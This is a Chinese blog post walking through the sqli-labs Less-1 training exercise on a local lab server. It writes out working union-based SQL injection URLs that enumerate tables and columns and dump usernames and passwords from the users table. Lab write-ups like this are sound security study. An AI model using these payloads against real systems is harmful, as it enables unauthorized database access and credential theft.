• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
返回主页

dddon

  • 博客园
  • 首页
  • 新随笔
  • 联系
  • 订阅
  • 管理

sqli-lab less-1

尝试 http://127.0.0.1:88/Less-1/?id=1a
正常显示,判断为字符型注入

image

尝试union注入 http://127.0.0.1:88/Less-1/?id=1' union select 1,1,1%23 成功
![image]image

查询表名 http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

image

查询users中的列名 http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users'%23

image

union注入查询账密
http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(username,0x3a,password) from users %23

image

posted @ 2023-10-10 16:06  dddon  阅读(34)  评论(0)    收藏  举报
刷新页面返回顶部

公告

博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3